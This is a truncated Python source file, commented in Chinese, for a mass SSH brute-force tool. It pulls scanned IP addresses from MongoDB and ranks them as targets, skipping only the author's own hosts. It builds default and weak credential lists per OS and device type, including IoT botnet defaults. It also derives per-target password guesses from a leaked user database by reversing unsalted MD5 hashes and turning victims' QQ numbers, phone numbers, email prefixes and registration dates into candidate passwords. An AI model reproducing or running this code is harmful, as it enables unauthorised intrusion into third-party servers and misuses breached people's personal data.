1208 lines
47 KiB
Python
1208 lines
47 KiB
Python
|
|
#!/usr/bin/env python3
|
|||
|
|
"""
|
|||
|
|
MongoDB 智能 SSH 暴力破解器
|
|||
|
|
============================
|
|||
|
|
直接从 KR.分布式矩阵IP_已扫描 读取数据,智能匹配凭证,实际 SSH 登录验证。
|
|||
|
|
|
|||
|
|
核心逻辑:
|
|||
|
|
1. 从 MongoDB 查询 SSH 可达 IP
|
|||
|
|
2. 排除自有设备(老坑爹/黑科技等自有平台 + 自有基础设施IP)
|
|||
|
|
3. 按 S→A→B 级别优先排序
|
|||
|
|
4. 为每台设备生成「适配度凭证列表」(按 OS/SSH版本/设备类型排序)
|
|||
|
|
5. 异步高并发 SSH 登录
|
|||
|
|
6. 成功结果写回 MongoDB + 本地文件
|
|||
|
|
|
|||
|
|
用法:
|
|||
|
|
# 默认:S级+A级(~400台,快速验证)
|
|||
|
|
python3 mongo_smart_brute.py
|
|||
|
|
|
|||
|
|
# S级+A级+B级(全量,含6.7万台)
|
|||
|
|
python3 mongo_smart_brute.py --level SAB
|
|||
|
|
|
|||
|
|
# 仅S级
|
|||
|
|
python3 mongo_smart_brute.py --level S
|
|||
|
|
|
|||
|
|
# 指定并发和超时
|
|||
|
|
python3 mongo_smart_brute.py --level SA --concurrency 300 --timeout 8
|
|||
|
|
|
|||
|
|
# 指定最大目标数
|
|||
|
|
python3 mongo_smart_brute.py --level SAB --max-targets 5000
|
|||
|
|
|
|||
|
|
# 试运行(只打印目标列表不实际登录)
|
|||
|
|
python3 mongo_smart_brute.py --dry-run
|
|||
|
|
|
|||
|
|
依赖:
|
|||
|
|
pip install pymongo asyncssh paramiko
|
|||
|
|
"""
|
|||
|
|
|
|||
|
|
import asyncio
|
|||
|
|
import json
|
|||
|
|
import csv
|
|||
|
|
import time
|
|||
|
|
import sys
|
|||
|
|
import os
|
|||
|
|
import argparse
|
|||
|
|
import logging
|
|||
|
|
from datetime import datetime
|
|||
|
|
from pathlib import Path
|
|||
|
|
from dataclasses import dataclass, field, asdict
|
|||
|
|
from typing import Optional
|
|||
|
|
from collections import defaultdict
|
|||
|
|
|
|||
|
|
# 强制 stdout 无缓冲(后台运行时也能实时看到输出)
|
|||
|
|
sys.stdout.reconfigure(line_buffering=True)
|
|||
|
|
sys.stderr.reconfigure(line_buffering=True)
|
|||
|
|
|
|||
|
|
# =====================================================
|
|||
|
|
# 配置
|
|||
|
|
# =====================================================
|
|||
|
|
|
|||
|
|
MONGO_URI = 'mongodb://admin:admin123@localhost:27017/?authSource=admin'
|
|||
|
|
MONGO_DB = 'KR'
|
|||
|
|
MONGO_COLLECTION = '分布式矩阵IP_已扫描'
|
|||
|
|
MONGO_RESULT_COLLECTION = '分布式矩阵IP_已登录' # 成功结果写入的集合
|
|||
|
|
MONGO_USER_COLLECTION = '分布式矩阵IP' # 871万条用户数据表(含 username/password/email/phone/qq)
|
|||
|
|
|
|||
|
|
# ── 排除列表 ──
|
|||
|
|
|
|||
|
|
# 自有基础设施 IP(不攻击)
|
|||
|
|
OWN_INFRASTRUCTURE = {
|
|||
|
|
"42.194.232.22", # 小型宝塔
|
|||
|
|
"42.194.245.239", # 存客宝
|
|||
|
|
"43.139.27.93", # kr宝塔
|
|||
|
|
"140.245.37.56", # Oracle VPS
|
|||
|
|
"119.233.228.177", # 家宽出口
|
|||
|
|
"127.0.0.1", # 本机
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
# 自有平台来源(这些平台是卡若自己的,用户IP不攻击)
|
|||
|
|
OWN_PLATFORM_SOURCES = {
|
|||
|
|
"老坑爹论坛www.lkdie.com 会员",
|
|||
|
|
"老坑爹商店 shop.lkdie.com",
|
|||
|
|
"黑科技www.quwanzhi.com 付款邮箱",
|
|||
|
|
# 模糊匹配关键字
|
|||
|
|
}
|
|||
|
|
OWN_PLATFORM_KEYWORDS = ["老坑爹", "黑科技", "lkdie", "quwanzhi"]
|
|||
|
|
|
|||
|
|
# ── 并发配置 ──
|
|||
|
|
DEFAULT_CONCURRENCY = 200
|
|||
|
|
DEFAULT_TIMEOUT = 8
|
|||
|
|
DEFAULT_DELAY = 0.05
|
|||
|
|
|
|||
|
|
# =====================================================
|
|||
|
|
# 按设备类型/OS/SSH版本 的智能凭证排序
|
|||
|
|
# =====================================================
|
|||
|
|
|
|||
|
|
# 凭证优先级:(username, password, priority, note)
|
|||
|
|
# priority 越小越先试
|
|||
|
|
|
|||
|
|
def get_smart_credentials(os_guess, ssh_version="", ssh_banner="", device_type=""):
|
|||
|
|
"""
|
|||
|
|
根据设备信息生成 **适配度排序** 的凭证列表。
|
|||
|
|
优先级逻辑:
|
|||
|
|
- 匹配该设备类型的默认密码 → 先试
|
|||
|
|
- 通用高频弱密码 → 其次
|
|||
|
|
- 扩展弱密码 → 最后
|
|||
|
|
"""
|
|||
|
|
creds = []
|
|||
|
|
seen = set()
|
|||
|
|
|
|||
|
|
def add(user, pwd, priority, note=""):
|
|||
|
|
key = (user, pwd)
|
|||
|
|
if key not in seen:
|
|||
|
|
seen.add(key)
|
|||
|
|
creds.append((user, pwd, priority, note))
|
|||
|
|
|
|||
|
|
os_lower = (os_guess or "").lower()
|
|||
|
|
banner_lower = (ssh_banner or "").lower()
|
|||
|
|
ver = (ssh_version or "").lower()
|
|||
|
|
|
|||
|
|
# ====== P0: 设备类型精准匹配(priority 0-9)======
|
|||
|
|
|
|||
|
|
if "centos" in os_lower or "rhel" in os_lower or ("openssh_7.4" in ver or "openssh_7.4" in banner_lower):
|
|||
|
|
# CentOS 7 (OpenSSH 7.4) — 默认允许 root 密码登录
|
|||
|
|
add("root", "root", 0, "CentOS7默认")
|
|||
|
|
add("root", "", 1, "CentOS空密码")
|
|||
|
|
add("root", "123456", 1, "CentOS高频")
|
|||
|
|
add("root", "password", 1, "CentOS高频")
|
|||
|
|
add("root", "admin", 2, "CentOS常见")
|
|||
|
|
add("root", "centos", 2, "CentOS系统名")
|
|||
|
|
add("centos", "centos", 2, "CentOS用户")
|
|||
|
|
add("root", "toor", 3, "root反转")
|
|||
|
|
add("root", "admin123", 3, "常见")
|
|||
|
|
add("root", "1234", 3, "CentOS弱密码")
|
|||
|
|
|
|||
|
|
elif "ubuntu" in os_lower:
|
|||
|
|
add("ubuntu", "ubuntu", 0, "Ubuntu默认")
|
|||
|
|
add("root", "root", 1, "Ubuntu-root")
|
|||
|
|
add("root", "ubuntu", 1, "Ubuntu系统名")
|
|||
|
|
add("root", "password", 2, "Ubuntu弱密码")
|
|||
|
|
add("root", "123456", 2, "Ubuntu弱密码")
|
|||
|
|
add("root", "admin", 2, "常见")
|
|||
|
|
add("root", "admin123", 3, "常见")
|
|||
|
|
|
|||
|
|
elif "debian" in os_lower:
|
|||
|
|
add("root", "root", 0, "Debian默认")
|
|||
|
|
add("debian", "debian", 1, "Debian用户")
|
|||
|
|
add("root", "password", 2, "Debian弱密码")
|
|||
|
|
add("root", "123456", 2, "弱密码")
|
|||
|
|
add("root", "admin", 2, "常见")
|
|||
|
|
|
|||
|
|
elif "嵌入式" in os_lower or "路由器" in os_lower or "dropbear" in banner_lower:
|
|||
|
|
add("admin", "admin", 0, "路由器默认")
|
|||
|
|
add("root", "admin", 0, "嵌入式默认")
|
|||
|
|
add("admin", "", 1, "路由器空密码")
|
|||
|
|
add("root", "root", 1, "嵌入式root")
|
|||
|
|
add("root", "password", 2, "嵌入式弱密码")
|
|||
|
|
add("root", "123456", 2, "弱密码")
|
|||
|
|
add("root", "default", 2, "default")
|
|||
|
|
add("ubnt", "ubnt", 2, "Ubiquiti")
|
|||
|
|
add("root", "ubnt", 2, "Ubiquiti")
|
|||
|
|
add("pi", "raspberry", 2, "树莓派")
|
|||
|
|
add("root", "raspberry", 2, "树莓派")
|
|||
|
|
add("root", "openwrt", 2, "OpenWrt")
|
|||
|
|
add("root", "dietpi", 2, "DietPi")
|
|||
|
|
|
|||
|
|
elif "h3c" in banner_lower or "comware" in banner_lower:
|
|||
|
|
add("admin", "admin", 0, "H3C默认")
|
|||
|
|
add("admin", "admin@h3c", 1, "H3C常见")
|
|||
|
|
add("admin", "h3c", 1, "H3C品牌名")
|
|||
|
|
add("admin", "", 2, "H3C空密码")
|
|||
|
|
add("admin", "123456", 3, "弱密码")
|
|||
|
|
return creds # H3C不适合部署,仅尝试少量
|
|||
|
|
|
|||
|
|
elif "huawei" in banner_lower:
|
|||
|
|
add("admin", "Admin@123", 0, "华为默认")
|
|||
|
|
add("admin", "huawei", 1, "华为品牌名")
|
|||
|
|
add("admin", "admin", 2, "通用")
|
|||
|
|
add("admin", "123456", 3, "弱密码")
|
|||
|
|
return creds # 华为设备不适合部署
|
|||
|
|
|
|||
|
|
elif "cisco" in banner_lower:
|
|||
|
|
add("admin", "cisco", 0, "Cisco默认")
|
|||
|
|
add("cisco", "cisco", 1, "Cisco品牌名")
|
|||
|
|
add("admin", "admin", 2, "通用")
|
|||
|
|
return creds # Cisco设备不适合部署
|
|||
|
|
|
|||
|
|
elif "openssh_5" in ver or "openssh_5" in banner_lower:
|
|||
|
|
# 极老版本 — 高概率弱密码
|
|||
|
|
add("root", "root", 0, "极老SSH")
|
|||
|
|
add("root", "", 0, "极老SSH空密码")
|
|||
|
|
add("root", "123456", 0, "极老SSH")
|
|||
|
|
add("root", "password", 0, "极老SSH")
|
|||
|
|
add("root", "admin", 1, "极老SSH")
|
|||
|
|
add("root", "toor", 1, "root反转")
|
|||
|
|
add("root", "test", 2, "测试密码")
|
|||
|
|
add("admin", "admin", 2, "通用")
|
|||
|
|
|
|||
|
|
# 通用Linux(os_guess=Linux/BSD 或 Unknown 但看banner是OpenSSH)
|
|||
|
|
if "linux" in os_lower or "bsd" in os_lower:
|
|||
|
|
add("root", "root", 1, "Linux通用")
|
|||
|
|
add("root", "123456", 2, "Linux弱密码")
|
|||
|
|
add("root", "password", 2, "Linux弱密码")
|
|||
|
|
add("root", "admin", 2, "Linux通用")
|
|||
|
|
add("root", "toor", 3, "root反转")
|
|||
|
|
add("admin", "admin", 3, "通用管理员")
|
|||
|
|
|
|||
|
|
# ====== P1: 通用高频弱密码(priority 10-19)======
|
|||
|
|
generic_top = [
|
|||
|
|
("root", "root", 10),
|
|||
|
|
("root", "", 10),
|
|||
|
|
("root", "123456", 11),
|
|||
|
|
("root", "password", 11),
|
|||
|
|
("root", "admin", 11),
|
|||
|
|
("root", "toor", 12),
|
|||
|
|
("admin", "admin", 12),
|
|||
|
|
("admin", "password", 12),
|
|||
|
|
("admin", "123456", 12),
|
|||
|
|
("admin", "admin123", 13),
|
|||
|
|
("root", "1234", 13),
|
|||
|
|
("root", "12345", 13),
|
|||
|
|
("root", "12345678", 13),
|
|||
|
|
("root", "123456789", 14),
|
|||
|
|
("root", "qwerty", 14),
|
|||
|
|
("root", "letmein", 14),
|
|||
|
|
("root", "test", 14),
|
|||
|
|
("root", "default", 14),
|
|||
|
|
("root", "changeme", 14),
|
|||
|
|
("root", "passw0rd", 15),
|
|||
|
|
("test", "test", 15),
|
|||
|
|
("user", "user", 15),
|
|||
|
|
("user", "password", 15),
|
|||
|
|
("guest", "guest", 15),
|
|||
|
|
]
|
|||
|
|
for u, p, pri in generic_top:
|
|||
|
|
add(u, p, pri, "通用高频")
|
|||
|
|
|
|||
|
|
# ====== P2: 云/VPS/DevOps(priority 20-29)======
|
|||
|
|
cloud_creds = [
|
|||
|
|
("root", "calvin", 20),
|
|||
|
|
("root", "vagrant", 20),
|
|||
|
|
("vagrant", "vagrant", 20),
|
|||
|
|
("ubuntu", "ubuntu", 20),
|
|||
|
|
("centos", "centos", 20),
|
|||
|
|
("debian", "debian", 20),
|
|||
|
|
("ec2-user", "", 20),
|
|||
|
|
("root", "alpine", 21),
|
|||
|
|
("root", "docker", 21),
|
|||
|
|
("docker", "docker", 21),
|
|||
|
|
("deploy", "deploy", 21),
|
|||
|
|
("ansible", "ansible", 22),
|
|||
|
|
("jenkins", "jenkins", 22),
|
|||
|
|
("git", "git", 22),
|
|||
|
|
]
|
|||
|
|
for u, p, pri in cloud_creds:
|
|||
|
|
add(u, p, pri, "云/VPS")
|
|||
|
|
|
|||
|
|
# ====== P3: NAS/IoT 扩展(priority 30-39)======
|
|||
|
|
nas_iot = [
|
|||
|
|
("root", "synology", 30),
|
|||
|
|
("admin", "synology", 30),
|
|||
|
|
("root", "qnap", 30),
|
|||
|
|
("admin", "qnap", 30),
|
|||
|
|
("root", "freenas", 30),
|
|||
|
|
("root", "openmediavault", 31),
|
|||
|
|
("root", "plex", 31),
|
|||
|
|
("pi", "raspberry", 32),
|
|||
|
|
("root", "raspberry", 32),
|
|||
|
|
("root", "dietpi", 32),
|
|||
|
|
("root", "openwrt", 32),
|
|||
|
|
("ubnt", "ubnt", 33),
|
|||
|
|
("root", "ubnt", 33),
|
|||
|
|
("root", "Zte521", 33),
|
|||
|
|
("root", "7ujMko0admin", 33),
|
|||
|
|
("root", "7ujMko0vizxv", 33),
|
|||
|
|
("root", "vizxv", 34),
|
|||
|
|
("root", "xc3511", 34),
|
|||
|
|
]
|
|||
|
|
for u, p, pri in nas_iot:
|
|||
|
|
add(u, p, pri, "NAS/IoT")
|
|||
|
|
|
|||
|
|
# ====== P4: 数据库 / 服务用户(priority 40-49)======
|
|||
|
|
db_creds = [
|
|||
|
|
("oracle", "oracle", 40),
|
|||
|
|
("postgres", "postgres", 40),
|
|||
|
|
("mysql", "mysql", 40),
|
|||
|
|
("root", "mysql", 41),
|
|||
|
|
("www", "www", 42),
|
|||
|
|
("www-data", "www-data", 42),
|
|||
|
|
("ftpuser", "ftpuser", 42),
|
|||
|
|
]
|
|||
|
|
for u, p, pri in db_creds:
|
|||
|
|
add(u, p, pri, "数据库/服务")
|
|||
|
|
|
|||
|
|
# ====== P5: 扩展弱密码(priority 50-59)======
|
|||
|
|
extended = [
|
|||
|
|
("root", "1q2w3e", 50),
|
|||
|
|
("root", "1q2w3e4r", 50),
|
|||
|
|
("root", "qwe123", 50),
|
|||
|
|
("root", "abc123", 50),
|
|||
|
|
("root", "111111", 51),
|
|||
|
|
("root", "000000", 51),
|
|||
|
|
("root", "888888", 51),
|
|||
|
|
("root", "666666", 51),
|
|||
|
|
("root", "520520", 51),
|
|||
|
|
("root", "123123", 52),
|
|||
|
|
("root", "iloveyou", 52),
|
|||
|
|
("root", "welcome", 52),
|
|||
|
|
("root", "shadow", 52),
|
|||
|
|
("root", "monkey", 53),
|
|||
|
|
("root", "dragon", 53),
|
|||
|
|
("root", "master", 53),
|
|||
|
|
("root", "superman", 53),
|
|||
|
|
("root", "p@ssw0rd", 54),
|
|||
|
|
("root", "Pa$$w0rd", 54),
|
|||
|
|
("root", "P@ssw0rd", 54),
|
|||
|
|
("admin", "12345678", 55),
|
|||
|
|
("admin", "qwerty", 55),
|
|||
|
|
("admin", "letmein", 55),
|
|||
|
|
]
|
|||
|
|
for u, p, pri in extended:
|
|||
|
|
add(u, p, pri, "扩展弱密码")
|
|||
|
|
|
|||
|
|
# 按 priority 排序
|
|||
|
|
creds.sort(key=lambda x: x[2])
|
|||
|
|
return creds
|
|||
|
|
|
|||
|
|
|
|||
|
|
# =====================================================
|
|||
|
|
# 从数据库用户资料派生 SSH 凭证
|
|||
|
|
# =====================================================
|
|||
|
|
|
|||
|
|
def get_user_derived_credentials(doc):
|
|||
|
|
"""
|
|||
|
|
从 分布式矩阵IP_已扫描 文档内嵌 users 字段,为该 IP 生成专属 SSH 凭证。
|
|||
|
|
每个 IP 的凭证因关联用户不同而完全不同。
|
|||
|
|
|
|||
|
|
v3.0 升级:
|
|||
|
|
- 扩展 MD5 反查表到 Top200+ 常见密码
|
|||
|
|
- 加入注册日期/生日派生(yyyyMMdd, yyyy, MMdd 等)
|
|||
|
|
- QQ号/手机号多变体组合
|
|||
|
|
- 用户名智能拆分(提取数字部分作密码)
|
|||
|
|
- 邮箱前缀深度利用
|
|||
|
|
"""
|
|||
|
|
import hashlib, re
|
|||
|
|
|
|||
|
|
# ═══ 扩展 MD5 反查表(Top200+常见密码)═══
|
|||
|
|
_COMMON_PASSWORDS = [
|
|||
|
|
"123456","password","12345678","qwerty","123456789","12345","1234","111111",
|
|||
|
|
"1234567","dragon","123123","baseball","abc123","football","monkey","letmein",
|
|||
|
|
"696969","shadow","master","666666","qwertyuiop","123321","mustang","1234567890",
|
|||
|
|
"michael","654321","pussy","superman","1qaz2wsx","7777777","fuckyou","121212",
|
|||
|
|
"000000","qazwsx","123qwe","killer","trustno1","jordan","jennifer","zxcvbnm",
|
|||
|
|
"asdfgh","hunter","buster","soccer","harley","batman","andrew","tigger",
|
|||
|
|
"sunshine","iloveyou","fuckme","charlie","robert","thomas","hockey","ranger",
|
|||
|
|
"daniel","starwars","klaster","112233","george","asshole","computer","michelle",
|
|||
|
|
"jessica","pepper","1111","zxcvbn","555555","11111111","131313","freedom",
|
|||
|
|
"777777","pass","fuck","maggie","159753","aaaaaa","ginger","princess","joshua",
|
|||
|
|
"cheese","amanda","summer","love","ashley","6969","nicole","chelsea","biteme",
|
|||
|
|
"matthew","access","yankees","987654321","dallas","austin","thunder","taylor",
|
|||
|
|
"matrix","william","corvette","hello","martin","heather","secret","fucker",
|
|||
|
|
"merlin","diamond","1234qwer","gfhjkm","hammer","silver","222222","88888888",
|
|||
|
|
"anthony","justin","test","bailey","q1w2e3r4t5","patrick","internet","scooter",
|
|||
|
|
"orange","11111","golfer","cookie","richard","samantha","bigdog","guitar",
|
|||
|
|
"jackson","whatever","mickey","chicken","sparky","snoopy","maverick","phoenix",
|
|||
|
|
"camaro","sexy","peanut","morgan","welcome","falcon","cowboy","ferrari",
|
|||
|
|
"samsung","andrea","smokey","steelers","joseph","mercedes","dakota","arsenal",
|
|||
|
|
"eagles","melissa","boomer","booboo","spider","nascar","monster","tigers",
|
|||
|
|
"yellow","xxxxxx","123123123","gateway","marina","diablo","bulldog","qwer1234",
|
|||
|
|
"compaq","purple","hardcore","banana","junior","hannah","123654","porsche",
|
|||
|
|
"lakers","iceman","money","cowboys","987654","london","tennis","999999",
|
|||
|
|
"ncc1701","coffee","scooby","0000","miller","boston","q1w2e3r4","fuckoff",
|
|||
|
|
"brandon","yamaha","chester","mother","forever","johnny","edward","333333",
|
|||
|
|
"oliver","redsox","player","nikita","knight","fender","barney","midnight",
|
|||
|
|
"please","brandy","chicago","badboy","iwantu","slayer","rangers","charles",
|
|||
|
|
"angel","flower","bigdaddy","rabbit","wizard","bigdick","jasper","enter",
|
|||
|
|
"rachel","chris","steven","winner","adidas","victoria","natasha","1q2w3e4r",
|
|||
|
|
"jasmine","winter","prince","panties","marine","ghbdtn","fishing","cocacola",
|
|||
|
|
"casper","oscar","gemini","viking","ross","falcon1","dexter","9999",
|
|||
|
|
"butthead","4321","passwd","142536","bubble","wanker","doggie","warrior",
|
|||
|
|
"poopoo","peaches","apples","asdf","buster1","qwerty123","password1","admin",
|
|||
|
|
"root","toor","admin123","root123","test123","guest","oracle","mysql",
|
|||
|
|
"postgres","redis","mongodb","server","linux","ubuntu","centos","debian",
|
|||
|
|
]
|
|||
|
|
|
|||
|
|
# 预计算 MD5 反查表
|
|||
|
|
MD5_REVERSE = {}
|
|||
|
|
for pw in _COMMON_PASSWORDS:
|
|||
|
|
h = hashlib.md5(pw.encode('utf-8')).hexdigest()
|
|||
|
|
MD5_REVERSE[h] = pw
|
|||
|
|
|
|||
|
|
creds = []
|
|||
|
|
seen = set()
|
|||
|
|
|
|||
|
|
def add(user, pwd, priority, note=""):
|
|||
|
|
key = (user, pwd)
|
|||
|
|
if key not in seen and user and pwd and len(user) <= 32 and 1 <= len(pwd) <= 64:
|
|||
|
|
# SSH密码基本规则:可打印ASCII
|
|||
|
|
if all(32 <= ord(c) < 127 for c in pwd):
|
|||
|
|
seen.add(key)
|
|||
|
|
creds.append((user, pwd, priority, note))
|
|||
|
|
|
|||
|
|
users = doc.get("users", [])
|
|||
|
|
if not users:
|
|||
|
|
return creds
|
|||
|
|
|
|||
|
|
for u in users:
|
|||
|
|
username = (u.get("username") or "").strip()
|
|||
|
|
email = (u.get("email") or "").strip()
|
|||
|
|
phone = (u.get("phone") or "").strip()
|
|||
|
|
qq = (u.get("qq") or "").strip()
|
|||
|
|
pw_hash = (u.get("password_hash") or "").strip()
|
|||
|
|
salt = (u.get("salt") or "").strip()
|
|||
|
|
source = (u.get("source_col") or "")[:12]
|
|||
|
|
reg_time = u.get("reg_time") # datetime or string
|
|||
|
|
|
|||
|
|
# 提取邮箱前缀
|
|||
|
|
email_prefix = email.split("@")[0] if "@" in email else ""
|
|||
|
|
|
|||
|
|
# 提取用户名中的数字部分(如 lcs123456 → 123456)
|
|||
|
|
username_nums = re.findall(r'\d{4,}', username) if username else []
|
|||
|
|
# 提取用户名中的字母部分
|
|||
|
|
username_alpha = re.sub(r'[^a-zA-Z]', '', username) if username else ""
|
|||
|
|
|
|||
|
|
# ═══ 策略1 [P1最高]: MD5无盐哈希反查已知明文(200+密码库)═══
|
|||
|
|
if not salt and pw_hash and len(pw_hash) == 32:
|
|||
|
|
plain = MD5_REVERSE.get(pw_hash.lower())
|
|||
|
|
if plain:
|
|||
|
|
add("root", plain, 1, f"MD5反查({source})")
|
|||
|
|
if username and username.isascii():
|
|||
|
|
add(username, plain, 1, f"用户+原始密码({source})")
|
|||
|
|
add("admin", plain, 2, f"admin+原始密码({source})")
|
|||
|
|
|
|||
|
|
# ═══ 策略2 [P2]: 用户名作为SSH凭证 ═══
|
|||
|
|
if username and username.isascii() and 3 <= len(username) <= 20:
|
|||
|
|
add("root", username, 2, f"用户名作密码({source})")
|
|||
|
|
add(username, username, 2, f"同名同密({source})")
|
|||
|
|
# 用户名+常见后缀
|
|||
|
|
for suffix in ["123", "1", "123456", "@123", "!@#", "."]:
|
|||
|
|
add("root", username + suffix, 4, f"用户名+后缀({source})")
|
|||
|
|
add(username, username + suffix, 5, f"同名+后缀({source})")
|
|||
|
|
# 用户名作为SSH用户 + 弱密码
|
|||
|
|
for wp in ["123456", "password", "admin", "1"]:
|
|||
|
|
add(username, wp, 4, f"用户名+弱密码({source})")
|
|||
|
|
|
|||
|
|
# ═══ 策略3 [P2]: QQ号及其变体 ═══
|
|||
|
|
if qq and qq.isdigit() and 5 <= len(qq) <= 12:
|
|||
|
|
add("root", qq, 2, f"QQ号({source})")
|
|||
|
|
add("admin", qq, 3, f"admin+QQ({source})")
|
|||
|
|
# QQ号变体
|
|||
|
|
add("root", qq + "123", 4, f"QQ+123({source})")
|
|||
|
|
add("root", qq + ".", 4, f"QQ+点({source})")
|
|||
|
|
add("root", "qq" + qq, 5, f"qq前缀({source})")
|
|||
|
|
# QQ号作用户名
|
|||
|
|
add(qq, qq, 5, f"QQ同名({source})")
|
|||
|
|
|
|||
|
|
# ═══ 策略4 [P2]: 手机号全方位利用 ═══
|
|||
|
|
if phone and phone.isdigit() and len(phone) >= 11:
|
|||
|
|
add("root", phone, 2, f"手机号({source})")
|
|||
|
|
add("root", phone[-6:], 3, f"手机后6位({source})")
|
|||
|
|
add("root", phone[-8:], 3, f"手机后8位({source})")
|
|||
|
|
add("root", phone[-4:], 4, f"手机后4位({source})")
|
|||
|
|
add("admin", phone, 3, f"admin+手机({source})")
|
|||
|
|
add("root", phone + ".", 4, f"手机+点({source})")
|
|||
|
|
add("root", phone[-6:] + ".", 5, f"手机6+点({source})")
|
|||
|
|
|
|||
|
|
# ═══ 策略5 [P3]: 注册日期/生日派生 ═══
|
|||
|
|
date_str = None
|
|||
|
|
if reg_time:
|
|||
|
|
try:
|
|||
|
|
if hasattr(reg_time, 'strftime'):
|
|||
|
|
dt = reg_time
|
|||
|
|
else:
|
|||
|
|
from datetime import datetime as _dt
|
|||
|
|
dt = _dt.fromisoformat(str(reg_time).replace('Z', '+00:00'))
|
|||
|
|
# 多种日期格式
|
|||
|
|
date_variants = [
|
|||
|
|
dt.strftime("%Y%m%d"), # 20140928
|
|||
|
|
dt.strftime("%Y"), # 2014
|
|||
|
|
dt.strftime("%m%d"), # 0928
|
|||
|
|
dt.strftime("%Y%m"), # 201409
|
|||
|
|
dt.strftime("%d%m%Y"), # 28092014
|
|||
|
|
dt.strftime("%Y-%m-%d"), # 2014-09-28
|
|||
|
|
]
|
|||
|
|
for dv in date_variants:
|
|||
|
|
add("root", dv, 3, f"注册日期({source})")
|
|||
|
|
# 日期+常见后缀
|
|||
|
|
yyyymmdd = dt.strftime("%Y%m%d")
|
|||
|
|
add("root", yyyymmdd + ".", 4, f"日期+点({source})")
|
|||
|
|
add("root", yyyymmdd + "!", 5, f"日期+叹号({source})")
|
|||
|
|
if username and username.isascii():
|
|||
|
|
add(username, yyyymmdd, 4, f"用户名+日期({source})")
|
|||
|
|
except Exception:
|
|||
|
|
pass
|
|||
|
|
|
|||
|
|
# ═══ 策略6 [P3]: 邮箱前缀深度利用 ═══
|
|||
|
|
if email_prefix and email_prefix.isascii() and len(email_prefix) >= 3:
|
|||
|
|
if not email_prefix.isdigit() and "bbs_ml" not in email_prefix:
|
|||
|
|
add("root", email_prefix, 3, f"邮箱前缀({source})")
|
|||
|
|
add(email_prefix, email_prefix, 4, f"邮箱同名({source})")
|
|||
|
|
add(email_prefix, "123456", 5, f"邮箱+弱密码({source})")
|
|||
|
|
add("root", email_prefix + "123", 5, f"邮箱+123({source})")
|
|||
|
|
|
|||
|
|
# ═══ 策略7 [P4]: 用户名中的数字作密码(如lcs123456→123456)═══
|
|||
|
|
for num in username_nums:
|
|||
|
|
add("root", num, 4, f"用户名数字({source})")
|
|||
|
|
if username_alpha and len(username_alpha) >= 3:
|
|||
|
|
add("root", username_alpha, 5, f"用户名字母({source})")
|
|||
|
|
|
|||
|
|
return creds
|
|||
|
|
|
|||
|
|
|
|||
|
|
# =====================================================
|
|||
|
|
# MongoDB 查询 & 分级
|
|||
|
|
# =====================================================
|
|||
|
|
|
|||
|
|
def is_own_platform(source_cols):
|
|||
|
|
"""判断是否来自自有平台"""
|
|||
|
|
for src in source_cols:
|
|||
|
|
for kw in OWN_PLATFORM_KEYWORDS:
|
|||
|
|
if kw in src:
|
|||
|
|
return True
|
|||
|
|
if src in OWN_PLATFORM_SOURCES:
|
|||
|
|
return True
|
|||
|
|
return False
|
|||
|
|
|
|||
|
|
|
|||
|
|
def query_targets(level="SA", max_targets=0, dry_run=False):
|
|||
|
|
"""
|
|||
|
|
从 MongoDB 查询目标,按 S→A→B→C 优先级排序。
|
|||
|
|
|
|||
|
|
分级逻辑(对齐33万IP报告):
|
|||
|
|
- S级: ssh_open=True, rdp=False, vnc=False, telnet=False, os_guess∈{Linux/BSD,Ubuntu,Debian,CentOS}
|
|||
|
|
- A级: ssh_open=True + baota_open=True + 已知Linux
|
|||
|
|
- B级: ssh_open=True, rdp=False, vnc=False, telnet=False, os_guess=Unknown
|
|||
|
|
- C级: ssh_open=True + 多端口
|
|||
|
|
"""
|
|||
|
|
import pymongo
|
|||
|
|
client = pymongo.MongoClient(MONGO_URI)
|
|||
|
|
db = client[MONGO_DB]
|
|||
|
|
coll = db[MONGO_COLLECTION]
|
|||
|
|
|
|||
|
|
targets = []
|
|||
|
|
stats = defaultdict(int)
|
|||
|
|
|
|||
|
|
linux_os_list = ["Linux/BSD", "Ubuntu Linux", "Debian Linux", "CentOS/RHEL"]
|
|||
|
|
|
|||
|
|
# 轻量投影:排除 users 大数组(破解时按需取)
|
|||
|
|
light_projection = {"users": 0}
|
|||
|
|
|
|||
|
|
# 全局排除条件:已标记 unreachable/refused/success 的跳过
|
|||
|
|
exclude_status = {
|
|||
|
|
"ssh_brute_status": {"$nin": ["unreachable", "refused", "success"]}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
# ── S 级:纯SSH + 已知Linux ──
|
|||
|
|
if "S" in level.upper():
|
|||
|
|
query_s = {
|
|||
|
|
"ssh_open": True,
|
|||
|
|
"rdp_open": False,
|
|||
|
|
"vnc_open": False,
|
|||
|
|
"telnet_open": False,
|
|||
|
|
"os_guess": {"$in": linux_os_list},
|
|||
|
|
**exclude_status,
|
|||
|
|
}
|
|||
|
|
cursor = coll.find(query_s, light_projection).sort("deploy_score", -1)
|
|||
|
|
for doc in cursor:
|
|||
|
|
if _should_skip(doc):
|
|||
|
|
continue
|
|||
|
|
doc["_grade"] = "S"
|
|||
|
|
doc["_grade_priority"] = 0
|
|||
|
|
targets.append(doc)
|
|||
|
|
stats["S"] += 1
|
|||
|
|
|
|||
|
|
# ── A 级:SSH + 宝塔 + 已知Linux ──
|
|||
|
|
if "A" in level.upper():
|
|||
|
|
query_a = {
|
|||
|
|
"ssh_open": True,
|
|||
|
|
"baota_open": True,
|
|||
|
|
"os_guess": {"$in": linux_os_list},
|
|||
|
|
**exclude_status,
|
|||
|
|
}
|
|||
|
|
seen_ips = {t["ip"] for t in targets}
|
|||
|
|
cursor = coll.find(query_a, light_projection).sort("deploy_score", -1)
|
|||
|
|
for doc in cursor:
|
|||
|
|
if doc["ip"] in seen_ips or _should_skip(doc):
|
|||
|
|
continue
|
|||
|
|
doc["_grade"] = "A"
|
|||
|
|
doc["_grade_priority"] = 1
|
|||
|
|
targets.append(doc)
|
|||
|
|
stats["A"] += 1
|
|||
|
|
|
|||
|
|
# ── B 级:纯SSH + Unknown OS ──
|
|||
|
|
if "B" in level.upper():
|
|||
|
|
query_b = {
|
|||
|
|
"ssh_open": True,
|
|||
|
|
"rdp_open": False,
|
|||
|
|
"vnc_open": False,
|
|||
|
|
"telnet_open": False,
|
|||
|
|
"os_guess": "Unknown",
|
|||
|
|
**exclude_status,
|
|||
|
|
}
|
|||
|
|
seen_ips = {t["ip"] for t in targets}
|
|||
|
|
# B级数量大,按 deploy_score 降序 + ssh_difficulty 升序,加 limit 防内存溢出
|
|||
